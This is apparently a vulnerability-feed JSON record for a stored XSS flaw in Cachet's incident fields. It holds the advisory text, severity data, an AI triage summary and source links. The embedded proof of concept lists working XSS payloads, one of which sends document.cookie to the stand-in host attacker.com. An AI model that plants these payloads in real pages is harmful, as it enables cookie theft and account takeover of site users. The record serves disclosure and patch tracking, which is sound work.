{"id":"CVE-2026-113712","kind":"vulnerability","aliases":["CVE-2026-113712","GHSA-x397-5hrv-j9m9"],"related":[],"title":"Cachet has Stored XSS in Incident Component","description":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.\n\n### Details\nThe incident Name and Message fields do not properly sanitize HTML  event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked.\n\nAffected endpoint: /dashboard/incidents/\nAffected fields: Incident Name, Incident Message\nAffected version: Cachet v3\n\n### PoC\n\n1. Log in as an authenticated user\n2. Navigate to /dashboard/incidents/\n3. Create a new incident\n4. Insert the following payloads in the Name and Message field:\n\nPayload 1 — Confirm XSS execution:\n```<img src=x onerror=\"alert(1)\">```\n\nStep 2 — Cookie/token exfiltration:\n```<img src=x onerror=\"fetch('http://attacker.com/leak?c='+document.cookie)\">```\n\nStep 3 — Forced redirect to sensitive page:\n```<img src=x onerror=\"window.location='/dashboard/manage-customization'\">```\n\n5. Save the incident\n6. Navigate to the public status page\n7. Payload executes in the victim's browser\n### Payload 1 \n<img width=\"1926\" height=\"1062\" alt=\"Screenshot_2026-05-05_21_19_21\" src=\"https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b\" />\n\n### Payload 2\n<img width=\"1910\" height=\"525\" alt=\"Screenshot_2026-05-07_12_22_07\" src=\"https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589\" />\n\n\n\nStored XSS affecting all users who view the public status page.\n\nAn attacker can:\n- Confirm script execution via alert popup\n- Steal session cookies and XSRF tokens from authenticated users\n- Silently redirect victims to sensitive pages like `/dashboard/manage-customization`\n\nThis vulnerability could lead to full account takeover of any user who views the status page, including administrators.","summary":"Cachet, a status page application, has a stored cross-site scripting flaw in the incident Name and Message fields: event-handler attributes such as onerror are not sanitized, so HTML injected by an authenticated user runs in the browser of anyone who views the public status page. An attacker can use this to steal session cookies or XSRF tokens and redirect visitors, including administrators.","severity":"medium","cvss":4.8,"epss":0.0035500000230968,"exploited":false,"exploited_at":null,"products":[{"name":"cachethq/cachet","fixed":[],"affected":"<= 2.4.1","ecosystem":"composer"}],"ecosystems":["composer"],"tags":["cachet","cwe-79","package","php","self-hosted","status-page"],"not_affected_if":["auth-required","managed-hosting"],"how_to_check":"Check the installed version with composer show cachethq/cachet; versions 2.4.1 and below are listed as affected.\nReview incident names and messages for HTML attributes such as onerror or onload.","fix":null,"status":"open","published_at":"2026-10-20T19:17:33+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T20:13:17+00:00","updated_at":"2026-10-23T21:57:21+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T20:13:17Z","model":"claude-haiku-5-5","output":{"fix":"unknown","summary":"Cachet, a status page application, has a stored cross-site scripting flaw in the incident Name and Message fields: event-handler attributes such as onerror are not sanitized, so HTML injected by an authenticated user runs in the browser of anyone who views the public status page. An attacker can use this to steal session cookies or XSRF tokens and redirect visitors, including administrators.","category":"package","who_cares":["cachet","self-hosted","php","status-page"],"confidence":0.8,"analyst_note":"Sources do not state the fixed version (products field shows 'fixed ?'); check the GHSA page at https://github.com/advisories/GHSA-x397-5hrv-j9m9 for the patched release.","how_to_check":"Check the installed version with composer show cachethq/cachet; versions 2.4.1 and below are listed as affected.\nReview incident names and messages for HTML attributes such as onerror or onload.\nunknown","needs_analyst":true,"not_affected_if":["managed-hosting","auth-required"],"severity_if_unknown":"unknown"},"cost_usd":0.000455,"input_tokens":2693,"output_tokens":372,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-113712':10A,18A '-2026':9A,17A '-79':22B '5hrv':14A 'account':140C 'administr':96B 'allow':112C 'anyon':73B 'applic':35B 'attack':81B,115C 'attribut':54B,156C 'authent':66B,114C 'browser':71B,124C 'cachet':1A,20B,31B 'cachethq/cachet':19A 'compon':7A 'cooki':88B 'creation':110C 'cross':40B,101C 'cross-sit':39B,100C 'cve':8A,16A 'cwe':21B 'detail':142C 'event':52B,154C 'event-handl':51B 'execut':121C 'exist':106C 'field':50B,148C 'flaw':43B 'form':111C 'ghsa':12A 'ghsa-x397-5hrv-j9m9':11A 'handler':53B,155C 'host':27B 'html':62B,153C 'html/javascript':119C 'incid':6A,46B,109C,144C 'includ':95B 'inject':63B,117C 'j9m9':15A 'lead':134C 'malici':118C 'messag':49B,147C 'name':47B,145C 'onerror':57B 'packag':23B 'page':30B,34B,79B,132C 'php':24B 'potenti':133C 'proper':151C 'public':77B 'redirect':93B 'run':68B 'sanit':60B,152C 'script':42B,103C 'self':26B 'self-host':25B 'session':87B,136C 'site':41B,102C 'status':29B,33B,78B,131C 'status-pag':28B 'steal':86B 'store':3A,38B,99C 'summari':97C 'takeov':141C 'theft':138C 'token':91B,137C 'use':83B 'user':67B,127C 'view':75B,129C 'visitor':94B 'vulner':105C 'x397':13A 'xsrf':90B 'xss':4A,104C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-20T19:17:33+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-x397-5hrv-j9m9","url":"https://github.com/advisories/GHSA-x397-5hrv-j9m9","severity":"medium","published_at":"2026-10-20T21:09:40+00:00","modified_at":"2026-10-20T21:09:40+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-113712","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113712","severity":null,"published_at":"2026-10-20T19:17:33+00:00","modified_at":"2026-10-23T02:16:56+00:00","first_seen_at":"2026-10-23T21:57:21+00:00","fetched_at":"2026-10-23T22:28:58+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}